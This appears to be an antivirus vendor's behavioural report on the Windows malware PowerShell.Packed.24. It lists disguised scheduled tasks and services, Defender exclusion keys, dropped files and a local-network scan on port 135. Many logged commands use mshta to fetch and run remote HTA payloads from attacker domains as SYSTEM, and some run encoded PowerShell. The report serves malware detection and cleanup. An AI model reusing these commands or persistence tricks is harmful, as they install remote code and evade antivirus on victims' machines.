PowerShell.Packed.24

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization
<SYSTEM32>\tasks\microsoft\windows\bluetooth\updatedevicetask
<SYSTEM32>\tasks\microsoft\windows\shell\windowsshellupdate
<SYSTEM32>\tasks\microsoft\windows\shell\winshell
<SYSTEM32>\tasks\microsoft\windows\upnp\upnphost
<SYSTEM32>\tasks\microsoft\windows\upnp\upnpclient task
<SYSTEM32>\tasks\microsoft\windows\edp\edp app lock task
<SYSTEM32>\tasks\microsoft\windows\edp\edp app update cache
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework ngen v4.0.50319 critical
<SYSTEM32>\tasks\microsoft\windows\diskcleanup\slientdefragdisks
<SYSTEM32>\tasks\microsoft\windows\registry\regbackup
<SYSTEM32>\tasks\microsoft\windows\mobilepc\detectpc
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization files-s-3-5-21-2236678155-433529325-2142214968-1138
<SYSTEM32>\tasks\microsoft\windows\.net framework\.net framework cache optimization files-s-3-5-21-2236678156-433529325-2142214268-1138
<SYSTEM32>\tasks\microsoft\windows\diskdiagnostic\microsoft windows disk diagnostic
<SYSTEM32>\tasks\microsoft\windows\mui\lpupdate

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_64] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_64] 'ImagePath' = 'cmd /c mshta http://asq.r77vh0.pw/win/checking.hta'
[<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_32] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\cli_optimization_v2.0.55727_32] 'ImagePath' = 'cmd /c mshta https://qlqd5zqefmkcr34a.onion.pet/win/checking.hta'
[<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%PROGRAMDATA%\Oracle\Java\WinRing0x64.sys'

Creates the following services

'cli_optimization_v2.0.55727_64' cmd /c mshta http://asq.r77vh0.pw/win/checking.hta
'cli_optimization_v2.0.55727_32' cmd /c mshta https://qlqd5zqefmkcr34a.onion.pet/win/checking.hta
'WinRing0_1_2_0' %PROGRAMDATA%\Oracle\Java\WinRing0x64.sys

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%PROGRAMDATA%\Oracle\Java' = '0'
[<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%' = '0'

Creates and executes the following

'%PROGRAMDATA%\oracle\java\java.exe'

Modifies file system

Creates the following files

%PROGRAMDATA%\oracle\java\java.exe
%TEMP%\cscd0f5.tmp
%TEMP%\fiai--xd.out
%TEMP%\fiai--xd.cmdline
%TEMP%\fiai--xd.0.cs
%TEMP%\bpuc0bep.dll
%TEMP%\resce95.tmp
%TEMP%\cscce94.tmp
%TEMP%\bpuc0bep.out
%TEMP%\bpuc0bep.cmdline
%TEMP%\bpuc0bep.0.cs
%TEMP%\ewb2r9ap.dll
%TEMP%\rescbe7.tmp
%TEMP%\csccbd6.tmp
%TEMP%\ewb2r9ap.out
%TEMP%\ewb2r9ap.cmdline
%TEMP%\ewb2r9ap.0.cs
%WINDIR%\fonts\del.ps1
%WINDIR%\fonts\sasd.bat
<SYSTEM32>\winring0x64.sys
%TEMP%\resd0f6.tmp
%TEMP%\fiai--xd.dll

Deletes the following files

%TEMP%\rescbe7.tmp
%TEMP%\fiai--xd.dll
%TEMP%\fiai--xd.out
%TEMP%\cscd0f5.tmp
%TEMP%\resd0f6.tmp
%TEMP%\bpuc0bep.dll
%TEMP%\bpuc0bep.pdb
%TEMP%\bpuc0bep.cmdline
%TEMP%\bpuc0bep.out
%TEMP%\bpuc0bep.0.cs
%TEMP%\cscce94.tmp
%TEMP%\resce95.tmp
%TEMP%\ewb2r9ap.cmdline
%TEMP%\ewb2r9ap.0.cs
%TEMP%\ewb2r9ap.out
%TEMP%\ewb2r9ap.dll
%TEMP%\ewb2r9ap.pdb
%TEMP%\csccbd6.tmp
%TEMP%\fiai--xd.cmdline
%TEMP%\fiai--xd.0.cs

Network activity

Connects to

'<LOCALNET>.41.1':135
'<LOCALNET>.41.143':135
'<LOCALNET>.41.144':135
'<LOCALNET>.41.145':135
'<LOCALNET>.41.146':135
'<LOCALNET>.41.147':135
'<LOCALNET>.41.148':135
'<LOCALNET>.41.149':135
'<LOCALNET>.41.150':135
'<LOCALNET>.41.151':135
'<LOCALNET>.41.125':135
'<LOCALNET>.41.152':135
'<LOCALNET>.41.154':135
'<LOCALNET>.41.155':135
'<LOCALNET>.41.156':135
'<LOCALNET>.41.157':135
'<LOCALNET>.41.158':135
'<LOCALNET>.41.159':135
'<LOCALNET>.41.160':135
'<LOCALNET>.41.161':135
'<LOCALNET>.41.162':135
'<LOCALNET>.41.163':135
'<LOCALNET>.41.140':135
'<LOCALNET>.41.153':135
'<LOCALNET>.41.142':135
'<LOCALNET>.41.141':135
'<LOCALNET>.41.139':135
'<LOCALNET>.41.138':135
'<LOCALNET>.41.115':135
'<LOCALNET>.41.116':135
'<LOCALNET>.41.117':135
'<LOCALNET>.41.118':135
'<LOCALNET>.41.119':135
'<LOCALNET>.41.120':135
'<LOCALNET>.41.121':135
'<LOCALNET>.41.122':135
'<LOCALNET>.41.123':135
'<LOCALNET>.41.164':135
'<LOCALNET>.41.124':135
'<LOCALNET>.41.112':135
'<LOCALNET>.41.126':135
'<LOCALNET>.41.128':135
'<LOCALNET>.41.129':135
'<LOCALNET>.41.130':135
'<LOCALNET>.41.131':135
'<LOCALNET>.41.132':135
'<LOCALNET>.41.133':135
'<LOCALNET>.41.134':135
'<LOCALNET>.41.135':135
'<LOCALNET>.41.136':135
'<LOCALNET>.41.113':135
'<LOCALNET>.41.137':135
'<LOCALNET>.41.127':135
'<LOCALNET>.41.114':135
'<LOCALNET>.41.165':135
'<LOCALNET>.41.169':135
'<LOCALNET>.41.197':135
'<LOCALNET>.41.198':135
'<LOCALNET>.41.199':135
'<LOCALNET>.41.200':135
'<LOCALNET>.41.201':135
'<LOCALNET>.41.202':135
'<LOCALNET>.41.203':135
'<LOCALNET>.41.204':135
'<LOCALNET>.41.205':135
'<LOCALNET>.41.206':135
'<LOCALNET>.41.193':135
'<LOCALNET>.41.207':135
'<LOCALNET>.41.209':135
'<LOCALNET>.41.210':135
'<LOCALNET>.41.211':135
'<LOCALNET>.41.212':135
'<LOCALNET>.41.213':135
'<LOCALNET>.41.214':135
'<LOCALNET>.41.215':135
'<LOCALNET>.41.216':135
'<LOCALNET>.41.217':135
'<LOCALNET>.41.218':135
'<LOCALNET>.41.195':135
'<LOCALNET>.41.196':135
'<LOCALNET>.41.194':135
'<LOCALNET>.41.192':135
'<LOCALNET>.41.69':135
'<LOCALNET>.41.170':135
'<LOCALNET>.41.171':135
'<LOCALNET>.41.172':135
'<LOCALNET>.41.173':135
'<LOCALNET>.41.174':135
'<LOCALNET>.41.175':135
'<LOCALNET>.41.176':135
'<LOCALNET>.41.177':135
'<LOCALNET>.41.178':135
'<LOCALNET>.41.166':135
'<LOCALNET>.41.168':135
'<LOCALNET>.41.167':135
'<LOCALNET>.41.179':135
'<LOCALNET>.41.183':135
'<LOCALNET>.41.184':135
'<LOCALNET>.41.185':135
'<LOCALNET>.41.186':135
'<LOCALNET>.41.187':135
'<LOCALNET>.41.188':135
'<LOCALNET>.41.189':135
'<LOCALNET>.41.190':135
'<LOCALNET>.41.191':135
'<LOCALNET>.41.180':135
'<LOCALNET>.41.181':135
'<LOCALNET>.41.182':135
'<LOCALNET>.41.111':135
'<LOCALNET>.41.110':135
'<LOCALNET>.41.109':135
'<LOCALNET>.41.32':135
'<LOCALNET>.41.33':135
'<LOCALNET>.41.34':135
'<LOCALNET>.41.35':135
'<LOCALNET>.41.36':135
'<LOCALNET>.41.37':135
'<LOCALNET>.41.38':135
'<LOCALNET>.41.39':135
'<LOCALNET>.41.40':135
'<LOCALNET>.41.41':135
'<LOCALNET>.41.54':135
'<LOCALNET>.41.42':135
'<LOCALNET>.41.44':135
'<LOCALNET>.41.45':135
'<LOCALNET>.41.46':135
'<LOCALNET>.41.47':135
'<LOCALNET>.41.48':135
'<LOCALNET>.41.49':135
'<LOCALNET>.41.50':135
'<LOCALNET>.41.51':135
'<LOCALNET>.41.52':135
'<LOCALNET>.41.29':135
'<LOCALNET>.41.28':135
'<LOCALNET>.41.31':135
'<LOCALNET>.41.27':135
'<LOCALNET>.41.26':135
'<LOCALNET>.41.2':135
'<LOCALNET>.41.4':135
'<LOCALNET>.41.5':135
'<LOCALNET>.41.6':135
'<LOCALNET>.41.7':135
'<LOCALNET>.41.8':135
'<LOCALNET>.41.9':135
'<LOCALNET>.41.10':135
'<LOCALNET>.41.11':135
'<LOCALNET>.41.12':135
'<LOCALNET>.41.53':135
'<LOCALNET>.41.13':135
'<LOCALNET>.41.43':135
'<LOCALNET>.41.15':135
'<LOCALNET>.41.17':135
'<LOCALNET>.41.18':135
'<LOCALNET>.41.19':135
'<LOCALNET>.41.20':135
'<LOCALNET>.41.21':135
'<LOCALNET>.41.22':135
'<LOCALNET>.41.23':135
'<LOCALNET>.41.24':135
'<LOCALNET>.41.25':135
'<LOCALNET>.41.14':135
'<LOCALNET>.41.3':135
'<LOCALNET>.41.16':135
'<LOCALNET>.41.30':135
'<LOCALNET>.41.55':135
'<LOCALNET>.41.85':135
'<LOCALNET>.41.87':135
'<LOCALNET>.41.88':135
'<LOCALNET>.41.89':135
'<LOCALNET>.41.90':135
'<LOCALNET>.41.91':135
'<LOCALNET>.41.92':135
'<LOCALNET>.41.93':135
'<LOCALNET>.41.94':135
'<LOCALNET>.41.95':135
'<LOCALNET>.41.84':135
'<LOCALNET>.41.56':135
'<LOCALNET>.41.86':135
'<LOCALNET>.41.96':135
'<LOCALNET>.41.100':135
'<LOCALNET>.41.101':135
'<LOCALNET>.41.102':135
'<LOCALNET>.41.103':135
'<LOCALNET>.41.104':135
'<LOCALNET>.41.105':135
'<LOCALNET>.41.106':135
'<LOCALNET>.41.107':135
'<LOCALNET>.41.108':135
'<LOCALNET>.41.97':135
'<LOCALNET>.41.98':135
'<LOCALNET>.41.99':135
'<LOCALNET>.41.208':135
'<LOCALNET>.41.219':135
'<LOCALNET>.41.81':135
'<LOCALNET>.41.58':135
'<LOCALNET>.41.59':135
'<LOCALNET>.41.60':135
'<LOCALNET>.41.61':135
'<LOCALNET>.41.62':135
'<LOCALNET>.41.63':135
'<LOCALNET>.41.64':135
'<LOCALNET>.41.65':135
'<LOCALNET>.41.66':135
'<LOCALNET>.41.67':135
'<LOCALNET>.41.82':135
'<LOCALNET>.41.83':135
'<LOCALNET>.41.68':135
'<LOCALNET>.41.71':135
'<LOCALNET>.41.72':135
'<LOCALNET>.41.73':135
'<LOCALNET>.41.74':135
'<LOCALNET>.41.75':135
'<LOCALNET>.41.76':135
'<LOCALNET>.41.77':135
'<LOCALNET>.41.78':135
'<LOCALNET>.41.79':135
'<LOCALNET>.41.80':135
'<LOCALNET>.41.57':135
'<LOCALNET>.41.70':135
'<LOCALNET>.41.220':135

TCP

HTTP GET requests

http://www.ro######seil-finances.ch/js/tiny_mce/temp/l.exe
http://18#.#0.68.147/mssql
http://18#.#0.68.147/win/sasd.bat
http://18#.#0.68.147/win/del.ps1
http://18#.#0.68.147/win/val/ichigo.bin

'18#.#0.68.147':443

'eu.##nerpool.pw':443

'ra#.####ubusercontent.com':443

UDP

DNS ASK ro######seil-finances.ch
DNS ASK eu.##nerpool.pw
DNS ASK ra#.####ubusercontent.com

Miscellaneous

Creates and executes the following

'%PROGRAMDATA%\oracle\java\java.exe' ' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ewb2r9ap.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCBE7.tmp" "%TEMP%\CSCCBD6.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bpuc0bep.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCE95.tmp" "%TEMP%\CSCCE94.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fiai--xd.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD0F6.tmp" "%TEMP%\CSCD0F5.tmp"' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c sc delete cli_optimization_v2.0.55727_64
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical" /sc daily /f /mo 3 /tr "<SYSTEM32>\cmd.exe /c mshta http://fh.##cwk4q.xyz/win/checking.hta" /ru SYSTEM
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\DiskCleanup\SlientDefragDisks /sc daily /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://fh.fhcwk4q.xyz/win/checking.hta" /ru SYSTEM
'<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\DiskCleanup\SlientDefragDisks /sc daily /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://fh.fhcwk4q.xyz/win/checking.hta" /ru SYSTEM
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Registry\RegBackup /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run" /ru "NT AUTHORITY\...
'<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Registry\RegBackup /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run" /ru "NT AUTHORITY\SYSTEM" /RL ...
'<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run
'<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /run
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\MobilePC\DetectPC /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c %WINDIR%\Fonts\sasd.bat" /ru "NT AUTHORITY\SYSTEM"
'<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\MobilePC\DetectPC /sc MINUTE /f /mo 10 /tr "<SYSTEM32>\cmd.exe /c %WINDIR%\Fonts\sasd.bat" /ru "NT AUTHORITY\SYSTEM"
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\EDP\EDP App Update Cache" /sc hourly /f /mo 23 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta" /ru SYSTEM
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.50319 Critical" /sc daily /f /mo 3 /tr "<SYSTEM32>\cmd.exe /c mshta http://fh.##cwk4q.xyz/win/checking.hta" /...
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138" /sc HOURLY /f /mo 17 /tr "cmd /c powershell -no...
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138" /sc DAILY /f /mo 5 /tr "cmd /c powershell -nop -noni -w 1 -...
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\DiskDiagnostic\Microsoft Windows Disk Diagnostic" /sc DAILY /f /mo 6 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBz...
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\DiskDiagnostic\Microsoft Windows Disk Diagnostic" /sc DAILY /f /mo 6 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoA...
'<SYSTEM32>\schtasks.exe' /f /tn \Microsoft\Windows\MUI\LPupdate /tr "<SYSTEM32>\cmd.exe /c powershell -exec bypass %WINDIR%\Fonts\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create
'<SYSTEM32>\hostname.exe'
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ewb2r9ap.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCBE7.tmp" "%TEMP%\CSCCBD6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bpuc0bep.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCE95.tmp" "%TEMP%\CSCCE94.tmp"
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678155-433529325-2142214968-1138" /sc HOURLY /f /mo 17 /tr "cmd /c powershell -nop -noni -w 1...
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization Files-S-3-5-21-2236678156-433529325-2142214268-1138" /sc DAILY /f /mo 5 /tr "cmd /c powershell -nop ...
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\EDP\EDP App Update Cache" /sc hourly /f /mo 23 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.r77vh0.pw/win/hssl/r7.hta" /ru SYSTEM
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\EDP\EDP App Lock Task" /sc hourly /f /mo 22 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#77vh0.pw/win/checking.hta" /ru SYSTEM
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\EDP\EDP App Lock Task" /sc hourly /f /mo 22 /tr "<SYSTEM32>\cmd.exe /c mshta http://as#.#77vh0.pw/win/checking.hta" /ru SYSTEM
'<SYSTEM32>\cmd.exe' /c sc delete cli_optimization_v2.0.55727_32
'<SYSTEM32>\sc.exe' delete cli_optimization_v2.0.55727_32
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALw...
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\.NET Framework\.NET Framework Cache Optimization" /sc HOURLY /f /mo 16 /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpAD...
'<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /end
'<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\MobilePC\DetectPC /end
'<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
'<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\MobilePC\DetectPC /delete /f
'<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Registry\RegBackup /delete /f
'<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Registry\RegBackup /delete /f
'<SYSTEM32>\sc.exe' delete cli_optimization_v2.0.55727_64
'<SYSTEM32>\cmd.exe' /c schtasks /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
'<SYSTEM32>\cmd.exe' /c schtasks /create /TN \Microsoft\Windows\Bluetooth\UpdateDeviceTask /TR %PROGRAMDATA%\Oracle\Java\java.exe /ST 00:00 /SC once /DU 59994 /RI 1 /F /RL HIGHEST /RU SYSTEM
'<SYSTEM32>\schtasks.exe' /create /TN \Microsoft\Windows\Bluetooth\UpdateDeviceTask /TR %PROGRAMDATA%\Oracle\Java\java.exe /ST 00:00 /SC once /DU 59994 /RI 1 /F /RL HIGHEST /RU SYSTEM
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\WindowsShellUpdate /sc HOURLY /f /mo 6 /tr "<SYSTEM32>\cmd.exe /c mshta http://18#.#0.68.147/win/update.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHE...
'<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\WindowsShellUpdate /sc HOURLY /f /mo 6 /tr "<SYSTEM32>\cmd.exe /c mshta http://18#.#0.68.147/win/update.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\Shell\WinShell /sc DAILY /f /mo 1 /tr "<SYSTEM32>\cmd.exe /c mshta http://18#.#0.68.147/win/checking.hta" /ru SYSTEM /RL HIGHEST
'<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\Shell\WinShell /sc DAILY /f /mo 1 /tr "<SYSTEM32>\cmd.exe /c mshta http://18#.#0.68.147/win/checking.hta" /ru SYSTEM /RL HIGHEST
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn \Microsoft\Windows\UPnP\UPnPHost /sc DAILY /f /mo 2 /tr "<SYSTEM32>\cmd.exe /c mshta http://ql######fmkcr34a.onion.pet/win/checking.hta" /ru SYSTEM /RL HIGHEST
'<SYSTEM32>\schtasks.exe' /create /tn \Microsoft\Windows\UPnP\UPnPHost /sc DAILY /f /mo 2 /tr "<SYSTEM32>\cmd.exe /c mshta http://ql######fmkcr34a.onion.pet/win/checking.hta" /ru SYSTEM /RL HIGHEST
'<SYSTEM32>\cmd.exe' /c SCHTASKS /create /tn "\Microsoft\Windows\UPnP\UPnPClient Task" /sc DAILY /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta" /ru SYSTEM /RL HIGHEST
'<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\UPnP\UPnPClient Task" /sc DAILY /f /mo 4 /tr "<SYSTEM32>\cmd.exe /c mshta https://asq.d6shiiwz.pw/win/hssl/d6.hta" /ru SYSTEM /RL HIGHEST
'<SYSTEM32>\schtasks.exe' /tn \Microsoft\Windows\Bluetooth\UpdateDeviceTask /end
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fiai--xd.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD0F6.tmp" "%TEMP%\CSCD0F5.tmp"

Technologies

Begriffe

Schulung und Training

Mythen

Technical Information

Curing recommendations

Free trial